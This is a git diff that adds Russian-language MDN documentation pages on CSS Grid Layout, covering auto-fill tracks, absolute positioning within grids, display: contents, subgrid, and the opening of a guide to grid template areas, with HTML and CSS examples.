+<p>Если вернуться к примеру, демонстрирующему различия между одно-и двумерным позиционированиями, можно увидеть, что существует также и различие в самом способе того, как две техники работают с отзывчивыми макетами.  С макетом на flex, если мы уменьшаем или увеличиваем размер окна, flexbox аккуратно перераспределяет количество элементов в каждой строке в соответствии с доступным пространством. Так, если у нас достаточно места, чтобы разместить все пять наших элементов в одной строке, они и будут размещены в одной строке. Если же контейнер узкий, то в строке у нас будет место только для одного элемента.</p>
+
+<p>В сравнении грид-версия <strong>всегда </strong>содержит три трека-колонки. Эти треки-колонки будут расширяться и сужаться, но их всегда будет три, раз мы запросили три при задании грида. </p>
+
+<h4 id="Автозаполнение_грид-треков">Автозаполнение грид-треков</h4>
+
+<p>Можно создать эффект, похожий на поведение flexbox, и при этом по-прежнему держать контент в жесткой сетке из строк и колонок, если задать структуру треков, используя repeat-нотацию и свойства <code>auto-fill</code> и <code>auto-fit</code>.</p>
+
+<p>В примере ниже мы используем ключевое слово <code>auto-fill</code> вместо целого числа в repeat-нотации и задаем структуру треков размером в 200 пикселей. Это значит, что грид создаст столько треков-колонок размером в 200 пикселей, сколько их может разместиться в контейнере.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+   display: grid;
+   grid-template-columns: repeat(auto-fill, 200px);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Auto-filling_grid_tracks', '500', '170') }}</p>
+
+<h3 id="Переменное_количество_треков">Переменное количество треков</h3>
+
+<p>Давайте вспомним пример с flexbox, когда элементы, размер которых больше 200 пикселей, переходят на новую строку. Тот же самый эффект в гридах мы можем получить комбинируя <code>auto-fill</code> и функцию {{cssxref("minmax", "minmax()")}}. В примере ниже мы создаем автозаполненные треки с помощью <code>minmax</code>. Мы хотим, чтобы треки были как минимум 200 пикселей в ширину, это наше минимальное значение, а для максимального зададим <code>1fr</code>. В процессе, когда браузер вычисляет, сколько блоков в 200 пикселей может разместиться в контейнере - при этом учитывая грид-зазоры - он расценивает максимум <code>1fr</code> как инструкцию распределить оставшееся свободное пространство между этими блоками.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+   display: grid;
+   grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
+}
+</pre>
+
+<p>{{ EmbedLiveSample('A_flexible_number_of_tracks', '500', '170') }}</p>
+
+<p>Собственно, теперь у нас есть возможность создавать гриды с переменным количеством или с переменным размером треков и при этом по-прежнему держать элементы в жесткой сетке из строк и колонок.</p>
+
+<h2 id="Гриды_и_абсолютно_позиционированные_элементы">Гриды и абсолютно позиционированные элементы</h2>
+
+<p>Грид взаимодействует с абсолютно позиционированными элементами, что отнюдь не бесполезно, если Вы хотите разместить элемент внутри грида или грид-области. В спецификации описано поведение грида и тогда, когда грид-контейнер является контейнерным блоком (containing block) и тогда, когда грид-контейнер - родительский элемент для абсолютно позиционированного элемента.</p>
+
+<h3 id="Грид-контейнер_как_контейнерный_блок">Грид-контейнер как контейнерный блок</h3>
+
+<p>Для того, чтобы превратить грид-контейнер в контейнерный блок Вам нужно добавить ему свойство position со значением relative. Если после этого задать какому-нибудь грид-элементу <code>position:</code> <code>absolute</code> , грид-контейнер станет контейнерным блоком для данного элемента.</p>
+
+<p>В примере ниже у нас есть блок-обертка с четырьмя дочерними элементами. Третий элемент абсолютно позиционирован и одновременно размещен в гриде с помощью привязки к грид-линиям. У грид-контейнера <code>position:</code> <code>relative</code> , поэтому он становится контекстом позиционирования для нашего третьего элемента.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;
+    Этот блок абсолютно позиционирован.
+В нашем примере грид-контейнер является контейнерным блоком, поэтому значения сдвига абсолютного позиционирования отсчитываются от внешнего края той области, в которой размещен элемент.
+   &lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+   display: grid;
+   grid-template-columns: repeat(4,1fr);
+   grid-auto-rows: 200px;
+   grid-gap: 20px;
+   position: relative;
+}
+.box3 {
+   grid-column-start: 2;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+   position: absolute;
+   top: 40px;
+   left: 40px;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('A_grid_container_as_containing_block', '500', '330') }}</p>
+
+<p>Вы видите, что наш элемент занимает область от колоночной грид-линии 2 до колоночной грид-линии 4 и начинается после строчной линии 1. С помощью свойств left и top мы сдвигаем его относительно этой области. В то же время, он изымается из потока так же, как и любой другой элемент с абсолютным позиционированием, поэтому правила авторазмещения теперь помещают другие элементы на его место. Абсолютное позиционирование нашего элемент также не приводит к появлению новой строки.</p>
+
+<p>Попробуйте удалить<code>position:</code> <code>absolute</code> из правил для <code>.box3</code> , и увидете, как он размещался бы без абсолютного позиционирования.</p>
+
+<h3 id="Грид-контейнер_в_качестве_родительского_элемента">Грид-контейнер в качестве родительского элемента</h3>
+
+<p>Если у абсолютно позиционированного элемента в качестве родительского контейнера выступает грид, не создающий новый контекст позиционирования, наш элемент также вытаскивается из потока, как и в предыдущем примере. Но в этом случае контекстом позиционирования будет любой элемент, который как раз и создает этот контекст позиционирования. Словом, если в нашем примере мы уберем <code>position:</code> <code>relative</code> из блока-обертки, контекстом позиционирования станет область просмотра, что хорошо видно на рисунке ниже.</p>
+
+<p><img alt="Image of grid container as parent" src="https://mdn.mozillademos.org/files/14661/2_abspos_example.png" style="height: 408px; width: 1702px;"></p>
+
+<p>Еще раз: наш элемент больше не занимает пространство в грид-макете и не влияет на то, как располагаются другие элементы при авторазмещении.</p>
+
+<h3 id="А_что_если_родительский_элемент_-_это_грид-область">А что если родительский элемент - это грид-область?</h3>
+
+<p>Если абсолютно позиционированный элемент находится в грид-области, Вы можете создать контекст позиционирования из этой области. В примере ниже у нас тот же грид-макет, что и раньше, но теперь мы разместили элемент внутри <code>.box3</code> .</p>
+
+<p>Задаем <code>.box3</code> свойство position в значении relative и затем перемещаем наш под-элемент с помощью свойств сдвига.  В данном случае контекстом позиционирования является грид-область.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three
+       &lt;div class="abspos"&gt;
+        Этот блок абсолютно позиционирован. В данном примере контекстом позиционирования являетсягрид-область, поэтому значения сдвига отсчитываются от внешних краев грид-области.
+       &lt;/div&gt;
+   &lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+   display: grid;
+   grid-template-columns: repeat(4,1fr);
+   grid-auto-rows: 200px;
+   grid-gap: 20px;
+}
+.box3 {
+   grid-column-start: 2;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+   position: relative;
+}
+.abspos {
+   position: absolute;
+   top: 40px;
+   left: 40px;
+   background-color: rgba(255,255,255,.5);
+   border: 1px solid rgba(0,0,0,0.5);
+   color: #000;
+   padding: 10px;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('With_a_grid_area_as_the_parent', '500', '420') }}</p>
+
+<h2 id="Грид_и_display_contents">Грид и <code>display:</code> <code>contents</code></h2>
+
+<p>Последнее, о чем нужно упомянуть, говоря о взаимодействии гридов с другими спецификациями, касающимися позиционирования элементов, - это взаимодействие между CSS Grid Layout и <code>display:</code> <code>contents</code>. Значение <code>contents</code> свойства display - новое свойство CSS, которое описывается в спецификации <a href="https://drafts.csswg.org/css-display/#box-generation">Display</a> следующим образом:</p>
+
+<blockquote>
+<p>“Сам элемент не генерирует никаких блоков (боксов), но его дочерние элементы и его псевдо-элементы по-прежнему генерируют блоки, в установленном порядке. Относительно генерации и позиционирования блоков элемент должен восприниматься так, как если бы он полностью замещался своими дочерними элементами и псевдо-элементами в дереве документа.”</p>
+</blockquote>
+
+<p>Если Вы пишете для элемента  <code>display:</code> <code>contents</code> , блок (бокс), который он должен создать в дереве документа исчезает, а вот блоки его дочерних элементов и его псевдо-элементов переходят на один уровень вверх. А значит это то, что дочерние элементы грид-элемента могут сами стать грид-элементами. Звучит непонятно? Давайте разберемся на простом примере. В разметке ниже у нас есть грид. Первый элемент этого грида настроен так, чтобы занимать все три трека-колонки. У него есть три вложенных элемента. Поскольку эти вложенные элементы не являются прямыми потомками грида, они не становятся частью грид-макета и отображаются, как обычные блоки.</p>
+
+<div id="Display_Contents_Before">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.box {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box box1"&gt;
+       &lt;div class="nested"&gt;a&lt;/div&gt;
+       &lt;div class="nested"&gt;b&lt;/div&gt;
+       &lt;div class="nested"&gt;c&lt;/div&gt;
+   &lt;/div&gt;
+   &lt;div class="box box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box box4"&gt;Four&lt;/div&gt;
+   &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+   grid-auto-rows: minmax(100px, auto);
+}
+.box1 {
+   grid-column-start: 1;
+   grid-column-end: 4;
+}
+
+</pre>
+
+<p>{{ EmbedLiveSample('Display_Contents_Before', '400', '420') }}</p>
+</div>
+
+<p>Если мы теперь добавим правило <code>display:</code> <code>contents</code> для  <code>box1</code>, блок этого бокса исчезнет, зато дочерние элементы станут грид-элементами и будут расположены в соответствии с правилами авторазмещения.</p>
+
+<div id="Display_Contents_After">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.box {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box box1"&gt;
+       &lt;div class="nested"&gt;a&lt;/div&gt;
+       &lt;div class="nested"&gt;b&lt;/div&gt;
+       &lt;div class="nested"&gt;c&lt;/div&gt;
+   &lt;/div&gt;
+   &lt;div class="box box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box box4"&gt;Four&lt;/div&gt;
+   &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+   grid-auto-rows: minmax(100px, auto);
+}
+.box1 {
+   grid-column-start: 1;
+   grid-column-end: 4;
+   display: contents;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Display_Contents_After', '400', '330') }}</p>
+</div>
+
+<p>Таким образом мы можем заставить вложенные элементы вести себя, словно они часть грида (и в некотором смысле имитация того поведения, которое должны будут реализовать подгриды (subgrids), когда руки разработчиков браузеров до них доберутся). Точно так же можно использовать <code>display:</code> <code>contents</code> с flexbox, чтобы вложенные элементы становились flex-элементами.</p>
+
+<p><em>UPD: На 04.02.2018 главная проблема с <code>display:</code> <code>contents</code> в том, что "редкий браузер долетел до середины Днепра", поддержка у свойства - отсутствует. Следите за обновлениями <a href="https://caniuse.com/#feat=css-display-contents">https://caniuse.com/#feat=css-display-contents</a></em></p>
+
+<p>Как Вы могли увидеть, CSS Grid Layout - это часть Вашего инструментария. Не бойтесь смешивать его с другими методами создания макетов, чтобы получить различные эффекты. И не переключайтесь, дальше будет много интересного.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Расположение элементов по грид-линиям</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ru/web/css/css_grid_layout/subgrid/index.html b/files/ru/web/css/css_grid_layout/subgrid/index.html
new file mode 100644
index 0000000000..f3e0b898d1
--- /dev/null
+++ b/files/ru/web/css/css_grid_layout/subgrid/index.html
@@ -0,0 +1,115 @@
+---
+title: Subgrid
+slug: Web/CSS/CSS_Grid_Layout/Subgrid
+translation_of: Web/CSS/CSS_Grid_Layout/Subgrid
+---
+<p>{{CSSRef}}</p>
+
+<p>2 уровень спецификации CSS Grid включает в себя значение <code>subgrid</code> для свойств <a href="/ru/docs/Web/CSS/grid-template-columns">grid-template-columns</a> и <a href="/ru/docs/Web/CSS/grid-template-rows">grid-template-rows</a>. Это руководство содержит описание принципа работы subgrid и показывает некоторые примеры использования этой функции.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Важно</strong>: Эта функция поставляется с Firefox 71, являющимся в данный момент единственным браузером, в котором реализован subgrid.</p>
+</div>
+
+<h2 id="Введение_в_subgrid">Введение в subgrid</h2>
+
+<p>При добавлении grid-контейнеру объявления <code>display: grid</code>, только непосредственно дочерние элементы становятся grid-элементами и могут быть помещены в созданную сетку. А дети этих grid-элементов отображаются уже в обычном потоке.</p>
+
+<p>Вы можете "вкладывать" сетки, делая grid-элементы grid-контейнерами. Эти вложенные сетки, однако, не зависят от родителя и друг от друга, а это значит, что они не берут размер своих треков из родительской сетки. Это затрудняет выстраивание элементов вложенных сеток в соответствии с основной.</p>
+
+<p>Если вы устанавливаете значение <code>subgrid</code> для свойства <code>grid-template-columns</code>, <code>grid-template-rows</code>, или для обоих, вместо создания новых треков, вложенная сетка использует треки, определённые для родителя.</p>
+
+<p>Например, если вы используете <code>grid-template-columns: subgrid</code> и вложенная сетка охватывает три колоночных трека родителя, её треки будут такого же размера, как и у родительской сетки. Промежутки (<a href="/en-US/docs/Web/CSS/gap">gap</a>) наследуются, но могут быть переопределены другими значениями. Имена линий могут быть переданы от родителя в subgrid, но можно объявить также и свои собственные.</p>
+
+<h2 id="Subgrid_для_колонок">Subgrid для колонок</h2>
+
+<p>В примере ниже приведена сетка с девятью колонками шириной <code>1fr</code>, и четырьмя строками высотой минимум 100px. </p>
+
+<p>Я изменяю позиционирование элемента с классом <code>.item</code> от 2 к 7 линии колонки и от 2 к 4 линии строки. После чего превращаю этот grid-элемент в grid-контейнер, определяя колоночные треки как subgrid, а строки оставляя обычными. Поскольку данный элемент охватывает пять колоночных треков, то и subgrid имеет пять колоночных треков. Затем я могу поместить на сетку элемент <code>.subitem</code>.</p>
+
+<p>Строки в примере не являются subgrid, поэтому ведут себя как у обычной вложенной сетки. Grid-область родителя расширяется, чтобы стать достаточно большой для этой вложенной сетки.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/grid/subgrid/columns.html", '100%', 1200)}}</p>
+
+<p>Обратите внимание, что внутри subgrid нумерация линий не наследуется от родителя, а начинается по новой – колоночная линия 1 внутри subgrid всегда является его начальной линией. Это значит, что вы можете безопасно добавить компонент, который может быть помещен в разных позициях на главной сетке, зная, что номера линий внутри компонента всегда будут оставаться одинаковыми.</p>
+
+<h2 id="Subgrid_для_строк">Subgrid для строк</h2>
+
+<p>Следующий пример повторяет предыдущий, только в этот раз мы используем <code>subgrid</code> как значение свойства <code>grid-template-rows</code> и явно определяем колоночные треки. Таким образом, колоночный трек ведёт себя как обычная вложенная сетка, но строки привязаны к двум трекам, которые охватывает дочерний элемент.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/grid/subgrid/rows.html", '100%', 1200)}}</p>
+
+<h2 id="Subgrid_в_обоих_измерениях">Subgrid в обоих измерениях</h2>
+
+<p>Конечно, вы можете определить и строки и колонки как subgrid, как в примере ниже. Это значит, что ваш subgrid в обоих измерениях привязан к количеству треков родителя.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/grid/subgrid/both.html", '100%', 1200)}}</p>
+
+<h3 id="В_subgrid-измерении_отсутствует_неявная_сетка">В subgrid-измерении отсутствует неявная сетка</h3>
+
+<p>Если вам нужно автоматическое размещение элементов и неизвестно их будущее количество, будьте внимательны при создании subgrid, поскольку это заблокирует функцию создания дополнительных строк для размещения этих элементов.</p>
+
+<p>Взгляните на следующий пример – в нём используется такая же родительская и дочерняя сетка, как в примере выше, однако внутри subgrid присутствует двенадцать элементов, пытающихся автоматически разместиться в десяти grid-ячейках. Так как subgrid задан в обоих измерениях, двум дополнительным элементам некуда деться, поэтому они размещаются в последнем треке сетки, что и определено спецификацией.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/grid/subgrid/no-implicit.html", '100%', 1200)}}</p>
+
+<p>Если удалить значение свойства <code>grid-template-rows</code>, мы включим обычное создание неявных треков и, хотя они не выстроятся по сетке родителя, будет создано столько треков, сколько потребуется.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/grid/subgrid/implicit.html", '100%', 1200)}}</p>
+
+<h2 id="Subgrid_и_свойства_gap">Subgrid и свойства gap</h2>
+
+<p>Если у родителя задан <a href="/en-US/docs/Web/CSS/gap">gap</a>, <a href="/en-US/docs/Web/CSS/column-gap">column-gap</a> или <a href="/en-US/docs/Web/CSS/row-gap">row-gap</a>, это будет передано и в subgrid, поэтому он будет иметь такие же промежутки между треками, как и родитель. Тем не менее, в определённых ситуациях вы можете захотеть, чтобы промежутки между треками в subgrid отличались или отсутствовали вовсе. Этого можно достичь, определяя свойства <code>gap–*</code> непосредственно в subgrid.</p>
+
+<p>Вы можете видеть это в примере ниже. Родительский grid имеет промежутки 20px для строк и колонок. Subgrid имеет <code>row-gap</code> со значением <code>0</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/grid/subgrid/gap.html", '100%', 1200)}}</p>
+
+<p>Если вы откроете Firefox Grid Inspector, сможете увидеть, как линия сетки находится в правильном месте по центру промежутка, поэтому когда мы устанавливаем gap = 0, он действует аналогично применению отрицательного margin для элемента, создавая пространство от промежутка обратно до элемента.</p>
+
+<p><img alt="The smaller item displays in the gap as row-gap is set to 0 on the subgrid." src="https://mdn.mozillademos.org/files/16628/gap.png" style="height: 928px; width: 1312px;"></p>
+
+<h2 id="Именованные_grid-линии">Именованные grid-линии</h2>
+
+<p>При использовании CSS Grid, вы можете именовать линии сетки и затем позиционировать элементы, используя эти имена, а не номера линий. Имена линий у родительской сетки передаются в subgrid, что позволяет с их помощью позиционировать элементы. В примере ниже я назвала линии родителя <code>col-start</code> и <code>col-end</code> и затем использовала их для размещения элементов subgrid..</p>
+
+<p>{{EmbedGHLiveSample("css-examples/grid/subgrid/line-names.html", '100%', 1200)}}</p>
+
+<p>Также можно указывать имена линий для subgrid. Это достигается путём добавления списка имён линий, заключённого в квадратные скобки после ключевого слова <code>subgrid</code>. Если в subgrid имеется четыре линии, для именования их всех достаточно использовать синтаксис <code>grid-template-columns: subgrid [line1] [line2] [line3] [line4]</code>.</p>
+
+<p>Имена линий, указанные в subgrid, добавляются к любым линиям, указанным в родительском элементе, поэтому можно использовать одно из этих названий или оба. Чтобы продемонстрировать это, в примере ниже я расположила один элемент, используя линии родителя, а другой – используя линии subgrid</p>
+
+<p><br>
+ {{EmbedGHLiveSample("css-examples/grid/subgrid/adding-line-names.html", '100%', 1200)}}</p>
+
+<h2 id="Использование_subgrid">Использование subgrid</h2>
+
+<p>Не считая необходимости следить за элементами, которые могут не поместиться при автоматическом размещении, subgrid работает аналогично любой вложенной сетке; единственное отличие заключается в том, что размер трека у subgrid задаётся в родительской сетке. Однако, как и в случае с любой вложенной сеткой, размер содержимого в subgrid может изменить размер трека, если конечно содержимому позволено влиять на размер.</p>
+
+<p>Поскольку значение subgrid во многом работает так же, как и обычная вложенная сетка, между ними достаточно легко переключаться. Например, если вы понимаете, что нужна неявная сетка для строк, всё что нужно сделать, удалить значение <code>subgrid</code> для свойства <code>grid-template-rows</code> и, возможно, задать значение свойству <code>grid-auto-rows</code> для контроля размера неявных треков.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>На YouTube-канале Mozilla Developers смотрите видео <a href="https://www.youtube.com/watch?v=gmQlK3kRft4">Laying out forms using subgrid</a> и <a href="https://www.youtube.com/watch?v=lLnFtK1LNu4">Don't Wait To Use Subgrid For Better Card Layouts</a></li>
+ <li><a href="https://noti.st/rachelandrew/i6gUcF/hello-subgrid">Hello Subgrid!</a> Презентация с CSSConf.eu</li>
+</ul>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Grid 2")}}</td>
+   <td>{{Spec2("CSS Grid 2")}}</td>
+   <td>Изначальнео определение <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout#Subgrid">subgrids</a>.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/css/css_grid_layout/грид-области/index.html b/files/ru/web/css/css_grid_layout/грид-области/index.html
new file mode 100644
index 0000000000..6d2d3b6892
--- /dev/null
+++ b/files/ru/web/css/css_grid_layout/грид-области/index.html
@@ -0,0 +1,529 @@
+---
+title: Шаблоны грид-областей
+slug: Web/CSS/CSS_Grid_Layout/Грид-области
+translation_of: Web/CSS/CSS_Grid_Layout/Grid_Template_Areas
+---
+<p>В <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">предыдущем обзоре</a> мы рассмотрели грид-линии и то, как с их помощью размещать элементы в гридах. Когда Вы работаете с CSS Grid Layout, у Вас всегда есть грид-линии, поэтому они - быстрый, прямой и надежный способ расположить элементы. Как бы то ни было, существует альтернативный метод, и этот метод можно использовать как в одиночку, так и в сочетании с расположением элементов по грид-линиям. В этом методе элементы располагаются с помощью именнованных, заранее определенных грид-областей. Давайте рассмотрим, как он работает, и Вы скоро поймете, почему его называют методом ascii-искусства в концепции макетов на гридах!</p>
+
+<h2 id="Имя_для_грид-области">Имя для грид-области</h2>
+
+<p>Вы уже знакомы со свойством {{cssxref("grid-area")}}. Это то свойство, которое принимает в качестве значения номера четырех грид-линий, определяющих расположение грид-области.</p>
+
+<pre class="brush: css">.box1 {
+   grid-area: 1 / 1 / 4 / 2;
+}
+</pre>
+
+<p>Что мы делаем, когда задаем все четыре значения? Мы определяем область, ограниченную данными грид-линиями. </p>
+
+<p><img alt="The Grid Area defined by lines" src="https://mdn.mozillademos.org/files/14667/4_Area.png" style="height: 354px; width: 951px;"></p>
+
+<p>Другой способ определить грид-область, - задать ей имя и определить местоположение как значения свойства {{cssxref("grid-template-areas")}}. Вы можете выбрать для грид-области любое имя. Например, если нам нужно создать макет согласно картинке ниже, мы можем назвать четыре основных области следующим образом:</p>
+
+<ul>
+ <li>header</li>
+ <li>footer</li>
+ <li>sidebar</li>
+ <li>основное содержимое content</li>
+</ul>
+
+<p><img alt="An image showing a simple two column layout with header and footer" src="https://mdn.mozillademos.org/files/14669/4_Layout.png" style="height: 397px; width: 900px;"></p>
+
